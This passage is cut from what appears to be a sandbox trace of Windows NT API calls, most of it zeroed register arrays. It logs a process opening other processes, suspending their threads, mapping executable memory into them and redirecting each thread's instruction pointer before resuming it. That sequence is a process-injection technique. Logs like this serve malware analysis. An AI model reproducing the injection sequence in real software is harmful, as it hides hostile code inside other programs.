[440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0574.494] NtResumeThread (in: ThreadHandle=0x1e4, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0574.494] NtClose (Handle=0x20c) returned 0x0 [0574.494] NtClose (Handle=0x1e4) returned 0x0 [0574.496] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0x860, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x1e4) returned 0x0 [0574.496] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0574.496] NtQueryInformationProcess (in: ProcessHandle=0x1e4, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0574.496] NtReadVirtualMemory (in: ProcessHandle=0x1e4, BaseAddress=0x32c000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0574.496] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0579.514] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0xec) | out: ThreadHandle=0x6be92c*=0x20c) returned 0x0 [0579.514] NtSuspendThread (in: ThreadHandle=0x20c, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0579.514] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x1e4, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x2240000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0579.520] NtGetContextThread (in: ThreadHandle=0x20c, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x4ff9d8, Ebx=0x32c000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x4ff980, Eip=0x7742295c, SegCs=0x23, EFlags=0x202, Esp=0x4ff968, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0579.520] NtCreateSection (in: SectionHandle=0x6be5b4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x6be574, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x6be5b4*=0x214) returned 0x0 [0579.520] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0xffffffff, BaseAddress=0x6be5bc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be574*=0x15ea00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5bc*=0x5680000, SectionOffset=0x0, ViewSize=0x6be574*=0x15f000) returned 0x0 [0579.528] NtMapViewOfSection (in: SectionHandle=0x214, ProcessHandle=0x1e4, BaseAddress=0x6be5b8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5b0*=0x15ea00, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x6be5b8*=0x2c10000, SectionOffset=0x0, ViewSize=0x6be5b0*=0x15f000) returned 0x0 [0579.552] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x5680000) returned 0x0 [0579.579] NtClose (Handle=0x214) returned 0x0 [0579.579] NtSetContextThread (ThreadHandle=0x20c, Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x4ff9d8, Ebx=0x32c000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0x4ff980, Eip=0x2cdc927, SegCs=0x23, EFlags=0x202, Esp=0x4ff968, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0579.579] NtResumeThread (in: ThreadHandle=0x20c, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0579.580] NtClose (Handle=0x1e4) returned 0x0 [0579.580] NtClose (Handle=0x20c) returned 0x0 [0579.581] NtOpenProcess (in: ProcessHandle=0x6be938, DesiredAccess=0x438, ObjectAttributes=0x6be900*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x6be918*(UniqueProcess=0xbec, UniqueThread=0x0) | out: ProcessHandle=0x6be938*=0x20c) returned 0x0 [0579.581] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x1a, ProcessInformation=0x6be928, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x6be928, ReturnLength=0x0) returned 0x0 [0579.581] NtQueryInformationProcess (in: ProcessHandle=0x20c, ProcessInformationClass=0x0, ProcessInformation=0x6be5ac, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x6be5ac, ReturnLength=0x0) returned 0x0 [0579.581] NtReadVirtualMemory (in: ProcessHandle=0x20c, BaseAddress=0xff0000, Buffer=0x6be8c0, NumberOfBytesToRead=0x20, NumberOfBytesRead=0x0 | out: Buffer=0x6be8c0*, NumberOfBytesRead=0x0) returned 0x0 [0579.581] NtDelayExecution (Alertable=0, Interval=0x6be594*=-50000000) returned 0x0 [0584.603] NtOpenThread (in: ThreadHandle=0x6be92c, DesiredAccess=0x1a, ObjectAttributes=0x6be578, ClientId=0x6be590*(UniqueProcess=0x0, UniqueThread=0xda4) | out: ThreadHandle=0x6be92c*=0x1e4) returned 0x0 [0584.616] NtSuspendThread (in: ThreadHandle=0x1e4, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0584.630] NtMapViewOfSection (in: SectionHandle=0x1f4, ProcessHandle=0x20c, BaseAddress=0x6be5cc*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x6be5cc*=0x2d80000, SectionOffset=0x0, ViewSize=0x6be5c8*=0x9c4000) returned 0x0 [0584.635] NtGetContextThread (in: ThreadHandle=0x1e4, Context=0x6be5f4 | out: Context=0x6be5f4*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0xd9f75c, Ebx=0xff0000, Edx=0x0, Ecx=0x0, Eax=0x1, Ebp=0xd9f704, Eip=0x7742295c, SegCs=0x23, EFlags=0x202, Esp=0xd9f6ec, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, 